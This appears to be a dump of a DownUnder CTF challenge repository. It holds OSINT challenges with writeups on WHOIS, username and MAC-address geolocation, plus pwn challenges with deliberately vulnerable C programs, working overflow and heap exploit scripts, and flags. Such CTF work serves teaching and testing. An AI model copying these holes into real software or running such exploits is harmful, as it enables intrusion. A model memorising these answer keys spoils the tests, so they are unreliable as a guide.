listing](https://www.realestate.com.au/sold/property-apartment-vic-melbourne-105687617), image 6 of 11. ================================================ FILE: osint/Apartment-views/challenge.yml ================================================ version: "0.1" id: apartment-views name: Apartment Views category: OSINT description: | We received intel that the accomplice we have been following is meeting with the ringleader of RaaS operation, they shared this photo online a few years back - believed to be the view from their apartment building (hideout). Between you and me, our sources say the ringleader was testing the ransomware they were going to sell and instead infected their own laptop. We think we may be able to setup a sting to apprehend the ringleader and retrieve the decryption key when they meet the accomplice at a dead drop in a nearby alleyway. Can you work out what the name of the street is? Author: xXl33t_h@x0rXx tags: - medium files: - ./challenge/image.png flags: - { type: "static", content: "DUCTF{mclean_alley}", data: "case_insensitive" } - { type: "static", content: "mclean_alley", data: "case_insensitive" } ================================================ FILE: osint/Heart-of-the-nation/README.md ================================================ # Heart of the nation **Category:** osint **Difficulty:** Medium **Author:** xXl33t_h@x0rXx We found some files on the website (not really), the caption was “Right at the heart of the nation, no piece of the bush inside the circle remains untouched by us". We believe this is one of their meeting places, can you help us find the location of the photo to three decimal places? Flag format is DUCTF{lon,lat} **Attached files:** - ./challenge/image.jpg (sha256: 7b6dfd0af6c15115a825bea9f4d00e02620bb0db549983cde5b662d5236bb8e7) ================================================ FILE: osint/Heart-of-the-nation/WRITEUP.md ================================================ # heart of the nation As part of this challenge we are provided with the following description: "Right at the heart of the nation, no piece of the bush inside the circle remains untouched by us" and a photo said to be retrieved from the website in the previous challenge. Analysing the features of the photo, we can see a dirt path, a semicircle of stones that appear to be a seat/bench or feature of some description, to the right of the photo something that resembles an information board and in the direct background some street lights. The combination of the caption and the street lamps highlights that whilst the photography was taken in a semi-dense bush area, there may be an adjacent street quite close by. The phrase "heart of the nation" alone could refer to numerous things such as charities, however in the context of the challenge (geolocation) it is used to refer to a location. The phrase 'heart of the nation' could be the "literal" middle of Australia, such as somewhere near the city of Alice Springs in the Northen Territory. However, when comparing this photo provided to photos of Alice Springs found through common search engines, it is evident that the green, lush, semi-dense bush is not a common sight you'd find in the middle of the outback where the canopy might be green, but the bush is often scarce, not very dense dried, cured, brown colours. After ruling out Alice Springs, that leaves a second potential location, the nation's capital - Canberra, Australian Capital Territory (ACT). This isn't the only hint to Canberra being the location in question, the phrase 'a piece of the bush remains untouched', is a tribute to Canberra's well known colloquial nickname "The bush capital". The bush capital is well renowned for its urban forest through its preservation of greenery, streets interwoven with nature as well as being surrounded by bushland (See: https://en.wikipedia.org/wiki/Canberra). There are many, many references to Canberra being called the bush capital, any search engine should return results for Canberra when searching a combination of terms including but not limited to "Heart of the nation" "bush" "Australia", etc. For example, one article found using a search engine (See: https://www.canberratimes.com.au/story/6035384/the-bush-capital-canberras-new-number-plate-slogan/) notes the usage of the phrase "The bush capital" on ACT number plates. Similarly, the term 'Heart of the nation" is feature in the article where it was actually considered as a number plate slogan for the ACT! With this in mind, using a online mapping service such as Google Maps and searching Canberra or the ACT, we get a birds eye view of the capital. This is where the 'heart' reference particularly comes to play, where it refers to the part of the nation that keeps it alive, that is the federal government (and federal agencies). To narrow down the location further, the challenge was lacking a solid reference until I addded "inside the circle" to the caption. Canberra is also well known for its geometrically shaped roads (hexagons, circles, triangles, etc), however the 'circle' here is a direct reference to the road type (like street, drive) and shape of the two roads - the State and Capital circles that surround Parliament House (where the Federal Government meet - see previous hint about heart of nation). From here, the competitors need to use their analysis and deduction skills from the photo (such as identifying the street lamps and stone semi-circle) along with online mapping tools such as birds eye/satellite view, Google Street View, Google Photo Sphere to identify any of the key features in the photo. There are only a few of the stone features within the State Circle area, some are visible from satellite view where as others are not, some also have Google Spheres at them or are visible from street view. When a stone feature is identified through any means, they will be able to compare the surroundings to the photo provided. Some techiques involve using the street lamps and their alignment, tree line or angle that the photo was taken at (with reference to other objects) for example to narrow down the location further. The location of the semi-circle stone in question has a google sphere a few meters away from where the provided photo was taken, once the user has found this, they just have to submit the coordinates to three decimal places. Whilst Google Maps provides coordinates to 6 decimal points accuracy (-35.306943, 149.120724). We chose three decimal places to provide a margin of error if the user's coordinates were slightly off. It should be noted that because of the three decimal places, the coordinates submitted will actually point to the middle of the State Circle road. The flag is DUCTF{-35.306,149.120} ================================================ FILE: osint/Heart-of-the-nation/challenge.yml ================================================ version: "0.1" id: heart-of-the-nation name: Heart of the nation category: OSINT description: | We found some files on the website (not really), the caption was “Right at the heart of the nation, no piece of the bush inside the circle remains untouched by us". We believe this is one of their meeting places, can you help us find the location of the photo to three decimal places? Flag format is DUCTF{lat,lon} Author: xXl33t_h@x0rXx tags: - medium files: - ./challenge/image.jpg flags: - DUCTF{-35.306,149.120} - DUCTF{-35.306, 149.120} - DUCTF{149.120,-35.306} - DUCTF{149.120, -35.306} ================================================ FILE: osint/Who-goes-there/README.md ================================================ # Who goes there? **Category:** osint **Difficulty:** Beginner **Author:** xXl33t_h@x0rXx *Disclaimer: Please note that this storyline, including any previous or future additions are all fictional and created solely for this challenge as part of DownUnder CTF. These are real places however they have **no association/affiliation** to the event, you are not required to call any place or make contact with anyone, doing so may disqualify you from the event.* Welcome to the team, glad you chose to join us - hopefully you’ll like it here and want to stay. Let me tell you about your first task: We’ve observed an underground criminal RaaS operation calling back to this domain, can you find the number of the individual who registered the domain? `646f776e756e646572.xyz` Flag format is DUCTF{+61} ================================================ FILE: osint/Who-goes-there/WRITEUP.md ================================================ # Who goes there? We are given a domain *646f776e756e646572.xyz* and asked to find the phone number of the individual who registered it in the format DUCTF{+61\}. Visiting the domain itself will not return any useful information. Instead, the solution is hinted at in the name "*Who* goes there?". Performing a whois lookup of the domain *646f776e756e646572.xyz* will return full registrar data for Isa Haxmoore, including name, address, and phone number: **+61.420091337**. Depending on your chosen formatting you may end up with one of the following two flags: - *DUCTF{+61420091337}* - *DUCTF{+61.420091337}* ================================================ FILE: osint/Who-goes-there/challenge.yml ================================================ version: "0.1" id: who-goes-there name: Who goes there? category: OSINT description: | *Disclaimer: Please note that this storyline, including any previous or future additions are all fictional and created solely for this challenge as part of DownUnder CTF. These are real places however they have **no association/affiliation** to the event, you are not required to call any place or make contact with anyone, doing so may disqualify you from the event.* Welcome to the team, glad you chose to join us - hopefully you’ll like it here and want to stay. Let me tell you about your first task: We’ve observed an underground criminal RaaS operation calling back to this domain, can you find the number of the individual who registered the domain? `646f776e756e646572.xyz` Flag format is `DUCTF{+61}` Author: xXl33t_h@x0rXx tags: - beginner flags: - DUCTF{+61.420091337} - DUCTF{+61420091337} ================================================ FILE: osint/eyespy/README.md ================================================ # eyespy **Category:** osint **Difficulty:** Medium **Author:** xXl33t_h@x0rXx With the phone number you found, we were able to see their phone pinging off a cell tower nearby. We intercepted their call and need to track down the registration number of the plane that their accomplice left on and and where the flight was heading. We recorded their call and were given the following transcript, can you analyse it for us? **Attached files:** - ./challenge/transcript19092021.pdf (sha256: 7e15ef0554f2e2ad5db07d806f3a481f514f859a2e59666f68271895f29e1aa1) ================================================ FILE: osint/eyespy/WRITEUP.md ================================================ # eyespy Note: If you are trying to complete this challenge after the CTF has concluded, please be warned that historical flight data is often only available for 14 days for free This challenge builds on the previous as noted these are a series. Completing the challenges in order will provide a significant advantage by providing context. For example, we know from the second challenge (Heart of the nation) that the general locality of the challenge, is in or near Canberra/ACT from the picture on Isa's website. Similarly, from the first challenge (Who goes there) we can see that the registered name and address in the WHOIS record is Isa Haxmoore with a South Australian address. In the transcript we see the unidentified male asking Isa whether they begun settling in since moving from SA. The transcript included in the challenge files provides the date and time of when the call took place. Within the conversation there is discussion around Isa's accomplice being recently given the USB with the decryption key on it. The unidentified male is unsure that the accomplice will make the flight, as he arrives late to the meet up with Isa. Amongst the thrilling conversation, Isa plays a game of eye spy with the unidentified male who guesses correctly that she was looking at a plane, before Isa makes a remark about it touching down in around an hour. There is also a reference to Melbourne from one of the Off The Rails challenges last year (however this was more of a meme than an actual hint). Combining these bits of information, we have the following: - Isa is in Canberra - A flight had taken off on the 19/09/2021 at around 1500 hours. - It would take the flight around an hour before it touched down If the destination hadn't been solved yet, both Melbourne and Sydney are around an hours flight from Canberra, so they would have to search for flights around the time for both of the airports and work out which fitted into the timeframe of the transcript best. We can use online flight tracking tools such as flighradar24.com to see historical flight data from Canberra airport, although often tools like this require a departure and arrival location. When reviewing historical flight data, there is a flight from Canberra to Melbourne on the 19/09/2021, that departed at 15:05 and took 56 minutes before arriving at Melbourne airport at 16:01. This fits the information we have, so we can grab the flight registration (YH-YIB) and destination (Melbourne). This gives us our flag: DUCTF{VH-YIB_melbourne} ================================================ FILE: osint/eyespy/challenge.yml ================================================ version: "0.1" id: eyespy name: eyespy category: OSINT description: | With the phone number you found, we were able to see their phone pinging off a cell tower. We intercepted their call and need to track down the registration number of the plane that their accomplice left on and and where the flight was heading. We recorded their call and were given the following transcript, can you analyse it for us? Flag format: `DUCTF{plane-registration-number_flight destination}` Author: xXl33t_h@x0rXx tags: - medium files: - ./challenge/transcript19092021.pdf flags: - { type: "static", content: "DUCTF{VH-YIB_melbourne}", data: "case_insensitive", } ================================================ FILE: osint/get-over-it/README.md ================================================ # Get over it! **Category:** osint **Difficulty:** easy **Author:** Yo_Yo_Bro "Bridget loves bridges, this one is her favourite." What is the name of it and whats the length of its main span to the nearest metre. **Flag Format:** DUCTF{bridge_name-#m} **Attached files:** - ./publish/get-over-it.jpg (sha256: 5F3936B61D939BE0F75BF0AE632E7CA2C096F26AF4492F8A0A3D2A8FD7EFE9C7) ================================================ FILE: osint/get-over-it/challenge/flag.txt ================================================ DUCTF{Eleanor_Schonell-183m} DUCTF{Eleanor_Schonell-185m} DUCTF{Eleanor_Schonell_Bridge-183m} DUCTF{Eleanor_Schonell_Bridge-185m} ================================================ FILE: osint/get-over-it/challenge.yml ================================================ version: "0.1" id: bridget name: Get over it! category: OSINT description: > "Bridget loves bridges, this one is her favourite." What is the name of it and the length of its main span to the nearest metre? Flag format; `DUCTF{bridge_name-#m}` Author: QUTWH flags: - { type: "static", content: "DUCTF{Eleanor_Schonell-183m}", data: "case_insensitive", } - { type: "static", content: "DUCTF{Eleanor_Schonell-185m}", data: "case_insensitive", } - { type: "static", content: "DUCTF{Eleanor_Schonell_Bridge-183m}", data: "case_insensitive", } - { type: "static", content: "DUCTF{Eleanor_Schonell_Bridge-185m}", data: "case_insensitive", } tags: - easy files: - ./challenge/get-over-it.jpg ================================================ FILE: osint/get-over-it/writeup.md ================================================ # Get over it! We are provided with get-over-it.jpg, a picture of a bridge and asked to find the following: What is the name of it and whats the length of its main span to the nearest metre. First I attempted a reverse-image search https://www.google.com/imghp?hl=en but unfortunately our challenge creator thrwated this by framing the image in a way that googles AI couldn't successfully reverse it. It does however suggest visually similar images and when we look at these we learning that the type of bridge pictured is some sort of "suspension bridge". I looked for suspension bridge synoyms next, as suspension bridge seemed to be a super broad-arching category of bridge. From here I stumbled accross cable bridges and thought i'd google cable bridge australia. First result was "Anzac bridge" which whilst not the correct one told me that we were on the right track. So next i decided to search "list of cable bridges australia" which gave me the following wikipedia page: https://en.wikipedia.org/wiki/Category:Cable-stayed_bridges_in_Australia Realising there was only 8 to choose from and we'd already crossed out Anzac Bridge, I went through the list and found that: Eleanor Schonell Bridge matched perfectly down to the yellow sign and blue centre light. So alas we have half the flag, now to find the other part. I just googled "main span length Eleanor Schonell Bridge" which produced a result of 185m. Depending on how we formatted the flag and where we obtained the main-span length we end up with one of the following 4 flags: DUCTF{Eleanor_Schonell-183m} DUCTF{Eleanor_Schonell-185m} DUCTF{Eleanor_Schonell_Bridge-183m} DUCTF{Eleanor_Schonell_Bridge-185m} ================================================ FILE: osint/sharing_is_caring/README.md ================================================ # Sharing is Caring **Category:** OSINT **Difficulty:** Hard **Author:** xXl33t_h@x0rXx ## Description: We have identified a username associated with one of the suspects: *alex_elgato93*. They seem pretty active on social media. Surely with all these posts they must have slipped up somewhere and given us a way to work out their location? Please tell us the name of the street closest to their location, with any spaces replaced by underscores. ================================================ FILE: osint/sharing_is_caring/challenge.yml ================================================ version: "0.1" id: sharing-is-caring name: Sharing is Caring category: OSINT description: | We have identified a username associated with one of the suspects: `alex_elgato93`. They seem pretty active on social media. Surely with all these posts they must have slipped up somewhere and given us a way to work out their location? Please tell us the name of the closest street, with any spaces replaced by underscores. Author: xXl33t_h@x0rXx tags: - hard flags: - { type: "static", content: "DUCTF{charles_mcintosh_pkwy}", data: "case_insensitive", } - { type: "static", content: "DUCTF{charles_mcintosh_parkway}", data: "case_insensitive", } - { type: "static", content: "charles_mcintosh_pkwy", data: "case_insensitive", } - { type: "static", content: "charles_mcintosh_parkway", data: "case_insensitive", } ================================================ FILE: osint/sharing_is_caring/writeup.md ================================================ # Sharing is Caring We are given a username alex_elgato93, and a hint that the user might have made a mistake up somewhere in their social media posts. We need to find the street closest to their location. The first step is to use a username lookup tool to search up accounts with the username **alex_elgato93**. This will return the following accounts, which all seem to be owned by the same person, with the same display picture. - https://www.twitch.tv/alex_elgato93 - https://twitter.com/alex_elgato93 - https://www.pinterest.com.au/alex_elgato93/ - https://steamcommunity.com/id/alex_elgato93 These accounts reveal alex_elgato93's name to be Alexandros Elgato. Alexandros seems to be the most active on his twitter account. If you check his steam account, you can see he previously used his full name as his username: **alexandros-elgato**. If you look up the username alexandros-elgato you will find some more accounts: - https://github.com/alexandros-elgato - https://www.reddit.com/user/alexandros-elgato Reddit seems to be the place Alexandros is the second most active. After exploring the various posts Alexandros has made, you will find a post with a screenshot of a Kali VM open in VirtualBox. In the screenshot Alexandros has various windows open, unintentionally including ARP command output with a MAC address: **DE:73:2C:6C:1B:C1** Searching this MAC address up with https://wigle.net/ will show that Alexandros has connected to an access point at a location (randomly chosen by us) in NSW. The road that Alexandros is closes to according to Wigle is Charles McIntosh Pkwy. We'll end up with one of the following two flags: - *DUCTF{charles_mcintosh_pkwy}* - *DUCTF{charles_mcintosh_parkway}* Note: The flag for this challenge was initially incorrectly set as DUCTF{charles_mckintosh_parkway}. This was identified and resolved within 30 minutes of challenge release, and a notification was sent out on discord and CTFd. ================================================ FILE: osint/the_internet_is_written_in_ink/README.md ================================================ # The Internet is Written In Ink **Category:** OSINT **Difficulty:** Easy **Author:** Crem One of the interns, Ducky, accidentally posted DUCTF data publicly, he said he was successful in scrubbing it from what he called "CTF clock" and mentioned the number four hundred and four ¯\_(ツ)_/¯. Ducky wouldn't screw up twice would he? Put the flag inside DUCTF flag format: DUCTF{} ================================================ FILE: osint/the_internet_is_written_in_ink/WRITEUP.md ================================================ # The Internet is Written In Ink This is an easy OSINT challenge which revolves around using the Wayback Machine. In the challenge description and title it alludes to data not being erased from the internet which usually incidates using the Wayback Machine to see what was there in the first place. Additionally, Ducky, was using something called "CTF clock" which alludes to "CTFTime". If you look up, our CTFTime event link (https://ctftime.org/event/1312) in the Wayback Machine (https://web.archive.org/web/*/http://ctftime.org/event/1312). You will see there was a snapshot taken on the 14 of March that says `Ok, ok — here is your flag: a5abef5222adc680a453607384bcb4d2`. You take this flag from and put it inside the DUCTF flag format and you have the flag! Flag: `DUCTF{a5abef5222adc680a453607384bcb4d2}` ================================================ FILE: osint/the_internet_is_written_in_ink/challenge.yml ================================================ version: "0.1" id: the-internet-is-written-in-ink name: The Internet is Written in Ink category: OSINT description: > One of the interns, Ducky, accidentally posted DUCTF data publicly, he said he was successful in scrubbing it from what he called "CTF clock" and mentioned the number four hundred and four ¯\\_(ツ)_/¯. Ducky wouldn't screw up twice would he? Author: Crem tags: - easy flags: - DUCTF{a5abef5222adc680a453607384bcb4d2} ================================================ FILE: pwn/babygame/Dockerfile ================================================ FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-21.04 COPY ./challenge/nsjail.cfg /home/ctf/ COPY ./challenge/flag.txt /home/ctf/chal/flag.txt COPY ./challenge/babygame /home/ctf/chal/pwn ================================================ FILE: pwn/babygame/README.md ================================================ # babygame **Category:** pwn **Difficulty:** easy **Author:** grub Not your typical shell game... **Attached files:** - ./challenge/babygame (sha256: 96a8164b620f6f5067903a106557f9b1307797641e2caf3e77e9a09faf0e7fe7) ================================================ FILE: pwn/babygame/challenge/babygame.c ================================================ #include #include #include #include char NAME[32]; char* RANDBUF; void init(); void print_username(); void set_username(); int get_num(); void print_menu(); void game(); int main() { init(); printf("Welcome, what is your name?\n"); read(0, NAME, 32); RANDBUF = "/dev/urandom"; while (1) { print_menu(); int c = get_num(); switch (c) { case 1: set_username(); break; case 2: print_username(); break; case 1337: game(); break; default: printf("Invalid choice.\n"); } } } void init() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); } int get_num() { char num[12]; read(0, num, 11); return atoi(num); } void print_menu() { printf("1. Set Username\n"); printf("2. Print Username\n"); printf("> "); } void set_username() { printf("What would you like to change your username to?\n"); fread(NAME, 1, strlen(NAME), stdin); } void print_username() { puts(NAME); } void game() { FILE* fd = fopen(RANDBUF, "rb"); char buf[4]; fread(buf, 1, 4, fd); printf("guess: "); int guess = get_num(); if (guess == *(int*)buf) { system("/bin/sh"); } } ================================================ FILE: pwn/babygame/challenge/flag.txt ================================================ DUCTF{whats_in_a_name?_5aacfc58} ================================================ FILE: pwn/babygame/challenge/nsjail.cfg ================================================ description: "Default nsjail configuration for pwnable-style CTF task." mode: LISTEN uidmap {inside_id: "1000"} gidmap {inside_id: "1000"} # jail config cwd: "/chal" hostname: "challenge" # network config bindhost: "0.0.0.0" max_conns_per_ip: $MAX_CONNS_PER_IP port: $PORT # limits mount_proc: $MOUNT_PROC time_limit: 600 cgroup_mem_max: $MAX_MEMORY cgroup_pids_max: $MAX_PIDS cgroup_cpu_ms_per_sec: $CPU_SHARES_MS mount: [ { src: "/home/ctf/chal" dst: "/chal", is_bind: true, rw: false }, { src: "/bin", dst: "/bin", is_bind: true, rw: false }, { src: "/lib", dst: "/lib", is_bind: true, rw: false }, { src: "/lib64", dst: "/lib64", is_bind: true, rw: false }, { src: "/usr", dst: "/usr", is_bind: true, rw: false }, { src: "/dev/urandom", dst: "/dev/urandom", rw: false, is_bind: true } ] exec_bin { path: "/chal/pwn" } ================================================ FILE: pwn/babygame/challenge.yml ================================================ version: "0.1" id: babygame name: babygame category: pwn description: > Not your typical shell game... Author: grub connection_info: nc ${host} ${port} files: - ./challenge/babygame tags: - easy flags: - DUCTF{whats_in_a_name?_5aacfc58} ================================================ FILE: pwn/babygame/solve/solve.py ================================================ # solve script written by joseph from pwn import * conn = remote('0.0.0.0', 1337) # fill the NAME buffer all the way so strlen catches the # adjacent RANDBUF bytes conn.sendafter('?\n', 'A'*32) # leak a binary address by reading the NAME conn.sendlineafter('> ', '2') bin_base = u64(conn.recvline()[32:-1].ljust(8, b'\x00')) - 0x2024 log.success('binary base: ' + hex(bin_base)) NAME = bin_base + 0x40a0 # overwrite RANDBUF with a pointer to NAME, and write /bin/sh to # name so the /bin/sh binary is read when we play the game conn.sendlineafter('> ', '1') conn.sendafter('?\n', b'/bin/sh\x00'.ljust(32, b'A') + p64(NAME)[:6]) # play game and easily win, since the "random" bytes are just the # first four bytes of the ELF header conn.sendlineafter('> ', '1337') conn.sendlineafter('guess: ', str(u32(b'\x7fELF'))) conn.interactive() ================================================ FILE: pwn/deadcode/Dockerfile ================================================ FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-18.04 WORKDIR /home/ctf/chal COPY ./challenge/deadcode pwn COPY ./challenge/flag.txt . ================================================ FILE: pwn/deadcode/README.md ================================================ # deadcode **Category:** pwn **Difficulty:** Beginner **Author:** xXl33t_h@x0rXx I'm developing this new application in C, I've setup some code for the new features but it's not (a)live yet. **Attached files:** - ./challenge/deadcode (sha256: 78efa3c404724b5e3f3e33c8efac4154cec32a40eca6f9f9c48dd4df5070561a) ================================================ FILE: pwn/deadcode/WRITEUP.md ================================================ # deadcode solution ## Solving the challenge ### Identify the vulnerability The source code wasn't provided for the challenge requiring the use of a decompiler or disassembler such as Ghidra, radare, ida or objdump. After reverse engineering the binary, it is evident through the use of the unsafe function `gets` in combination with a fixed size char array `feature[16]` that the code is vulnerable to a buffer overflow. The binary features a section of code that isn't reachable through normal execution which is called 'deadcode', it's here that the system calls '/bin/sh' which spawns a bin shell. This is referenced in the challenge description by noting the "code isn't (a)live yet". ### Exploit time After identifying the value we need to set `long code` to access the deadcode and the size of the char array that the gets stores its value in (16 chars/bytes), we can start to build our exploit. By using 16 'A's we can fill the char array, then we have to overwrite the base pointer (RBP) which is 8 bytes, we can use 8 'B's to denote this. Finally, in little endian format we can overwrite the long variable `code` stored on the stack, this is: \xde\xc0\xad\xde. Piecing this all together, we get `AAAAAAAAAAAAAAAABBBBBBBB\xde\xc0\xad\xde`. This can either be put into a solve script or exploited using echo as shown below. ## Exploit: Local execution: ``` (echo -e "AAAAAAAAAAAAAAAABBBBBBBB\xde\xc0\xad\xde";cat) | ./deadcode ``` Remote execution: ``` (echo -e "AAAAAAAAAAAAAAAABBBBBBBB\xde\xc0\xad\xde";cat) | nc ``` ================================================ FILE: pwn/deadcode/challenge/deadcode.c ================================================ #include void buffer_init() { setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); } int main(void) { long code = 0; char feature[16]; buffer_init(); printf("\nI'm developing this new application in C, I've setup some code for the new features but it's not (a)live yet.\n"); printf("\nWhat features would you like to see in my app?\n"); gets(feature); if(code == 0xdeadc0de) { printf("\n\nMaybe this code isn't so dead...\n"); system("/bin/sh"); } } ================================================ FILE: pwn/deadcode/challenge/flag.txt ================================================ DUCTF{y0u_br0ught_m3_b4ck_t0_l1f3_mn423kcv} ================================================ FILE: pwn/deadcode/challenge.yml ================================================ version: "0.1" id: deadcode name: deadcode category: pwn description: | I'm developing this new application in C, I've setup some code for the new features but it's not (a)live yet. Author: xXl33t_h@x0rXx connection_info: nc ${host} ${port} tags: - beginner files: - ./challenge/deadcode flags: - DUCTF{y0u_br0ught_m3_b4ck_t0_l1f3_mn423kcv} ================================================ FILE: pwn/ductfnote/Dockerfile ================================================ FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-21.04 RUN apt update && apt install patchelf -y && rm -rf /var/lib/apt/lists/* COPY ./challenge/libc-2.31.so /home/ctf/chal/libc.so.6 COPY ./challenge/ld-2.31.so /home/ctf/chal/ld-2.31.so COPY ./challenge/flag.txt /home/ctf/chal/flag.txt COPY ./challenge/ductfnote /home/ctf/chal/pwn RUN patchelf --set-rpath /chal/ --set-interpreter /chal/ld-2.31.so /home/ctf/chal/pwn ================================================ FILE: pwn/ductfnote/README.md ================================================ # DUCTFnote **Category:** pwn **Difficulty:** hard **Author:** grub You only get OneNote **Attached files:** - ./challenge/ductfnote (sha256: 0adf7d157a52f647c71e3837f826dc7f7e419064a518d917a5a0d9338fcbb096) - ./challenge/ductfnote.c (sha256: b8bdf3973e09adfbe7d7a39b7d6c9821004cffd4c9c24257fbd0440c87a105d7) - ./challenge/libc.so.6 (sha256: 09d4dc50d7b31bca5fbbd60efebe4ce2ce698c46753a7f643337a303c58db541) ================================================ FILE: pwn/ductfnote/challenge/ductfnote.c ================================================ #include #include #include typedef struct param { unsigned int maxsize; } param_t; typedef struct datanote { unsigned int size; char data; } datanote_t; void init(); void welcome(); void print_menu(); datanote_t * create_note(unsigned int size, param_t* params); void show_note(datanote_t * note); void edit_note(datanote_t * note); int main() { init(); welcome(); int choice; datanote_t* note = NULL; param_t* params = (param_t*)malloc(sizeof(param_t)); params->maxsize = 0x7f; while(1) { print_menu(); scanf("%d", &choice); getchar(); printf("\n"); switch (choice) { case 1: printf("Size: "); unsigned int size; scanf("%d", &size); getchar(); note = create_note(size, params); break; case 2: show_note(note); break; case 3: edit_note(note); break; case 4: free(note); note = 0; break; default: printf("Invalid option.\n"); } } return 0; } void init() { setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); } void welcome() { printf(" %%%%%%%%%%%%%%%%%% \n"); printf(" %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% \n"); printf(" %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%..............%%%%%%%% \n"); printf(" %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ,%% \n"); printf(" %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ,%% \n"); printf(" %%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%% ,%% \n"); printf(" %%%%%%%%%%%%%%%% %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ,%% \n"); printf(" %%%%%%%%%%%%%%%% %%%%%%%%%%\\ %%%%%%%%%%%%%%%%%%%% %%%%##%% \n"); printf(" %%%%%%%%%%%%%%%% %%%%%%%%%%%%\\ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%% ,%% \n"); printf(" %%%%%%%%%%%%%%%% %%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%% %%%% ,%% \n"); printf(" %%%%%%%%%%%%%%%% %%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%% %%%%%%%%%% \n"); printf(" %%%%%%%%%%%%%%%% %%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%% ,%% \n"); printf(" %%%%%%%%%%%%%%%% %%%%%%%%%%%%/ %%%%%%%%%%%%%%%%%%%% %%%% ,%% \n"); printf(" %%%%%%%%%%%%%%%% %%%%%%%%/ %%%%%%%%%%%%%%%%%%%%%%..........\n"); printf(" %%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%% %%%% ,%% \n"); printf(" %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%% ,%% \n"); printf(" %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% \n"); printf(" %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% \n"); printf(" %%%%%%%%%%%%%%\n\n"); printf(" *******************************************\n"); printf(" * DUCTFnote * \n"); printf(" *******************************************\n\n"); } void print_menu() { printf("\n"); printf("1. Create Note\n"); printf("2. Show Note\n"); printf("3. Edit Note\n"); printf("4. Delete Note\n"); printf(">> "); } datanote_t * create_note(unsigned int size, param_t *params) { if (size > params->maxsize) { printf("Note too big.\n"); return 0; } int allocsize = size | 0x80; datanote_t * note = (datanote_t*)malloc(allocsize + 8); note->size = size; return note; } void show_note(datanote_t * note) { if(!note) { printf("No Note.\n"); return; } printf("<------------ NOTE 1 ------------>\n"); fwrite(&(note->data), note->size, 1, stdout); printf("\n"); printf("<-------------------------------->\n"); printf("\n"); } void edit_note(datanote_t * note) { if(!note) { printf("No Note.\n"); return; } signed char idx = 0; while(idx <= note->size) { *(&(note->data)+idx) = fgetc(stdin); if (*(&(note->data)+idx) == '\n') {*(&(note->data)+idx) = '\0'; break;} idx++; } } ================================================ FILE: pwn/ductfnote/challenge/flag.txt ================================================ DUCTF{n0w_you_4r3_r34dy_f0r_r34l_m$_0d4y} ================================================ FILE: pwn/ductfnote/challenge.yml ================================================ version: "0.1" id: ductfnote name: DUCTFnote category: pwn description: | You only get OneNote Author: grub connection_info: nc ${host} ${port} files: - ./challenge/ductfnote - ./challenge/ductfnote.c - ./challenge/libc-2.31.so tags: - hard flags: - DUCTF{n0w_you_4r3_r34dy_f0r_r34l_m$_0d4y} ================================================ FILE: pwn/ductfnote/solve/solve.py ================================================ #!/usr/bin/python3 #coding=utf-8 from pwn import * exe = ELF("../challenge/ductfnote") libc = ELF("../challenge/libc-2.31.so") is_local = False is_remote = False if len(sys.argv) == 1: is_local = True p = process([exe.path]) elif len(sys.argv) > 1: is_remote = True if len(sys.argv) == 3: host = sys.argv[1] port = sys.argv[2] else: host, port = sys.argv[1].split(':') p = remote(host, port) context.log_level = 'info' se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) sea = lambda delim,data :p.sendafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) uu32 = lambda data :u32(data.ljust(4, b'\0')) uu64 = lambda data :u64(data.ljust(8, b'\0')) def debug(cmd=''): if is_local: gdb.attach(p,cmd) # allocate 0x7f chunk and corrupt the maxsize, then free the chunk sla(">>", '1') sla("Size: ", str(0x7f)) sla(">>", '3') sl(p64(0)*26 + p32(0) + p64(0x21) + b'\xff'*2) sla(">>", '4') # allocate a bigger chunk (so that it isnt serviced by the above freed chunk, need to save this chunk for later) sla(">>", '1') sla("Size:", str(0x100)) #free it to tcache (heap pointers now in the chunk) sla(">>", '4') # recover the original chunk, corrupt its size to get OOB read and read a heap pointer sla(">>", '1') sla("Size:", str(0x7f)) sla(">>", '3') sl(p64(0)*26 + p32(0) + p64(0x21) + p64(0xffff) + p64(0)*2 + p64(0x110) + b'\xff\x0f') sla(">>", '2') p.recvline() p.recvline() leak = p.recvline(); leak = uu64(leak[276:283]) p.recvline() sla(">>", '4') my_chunk = leak + (0x5571a13492c0 - 0x5571a1349010) big_chunk = leak + 0x550 log.info(f"big chunk: {hex(big_chunk)}") #create an unsortedbin sized chunk and a buffer chunk to prevent consolidation: sla(">>", '1') sla("Size:", str(0x1000)) # this chunk acts as a buffer, but is also the biggest tcache size chunk we can make, so we use it for the arb write: sla(">>", '1') sla("Size:", str(0x370)) sla(">>", '4') # we replace the pointer with the unsortedbin pointer so that we can free it sla(">>", '1') sla("Size:", str(0x7f)) sla(">>", '3') 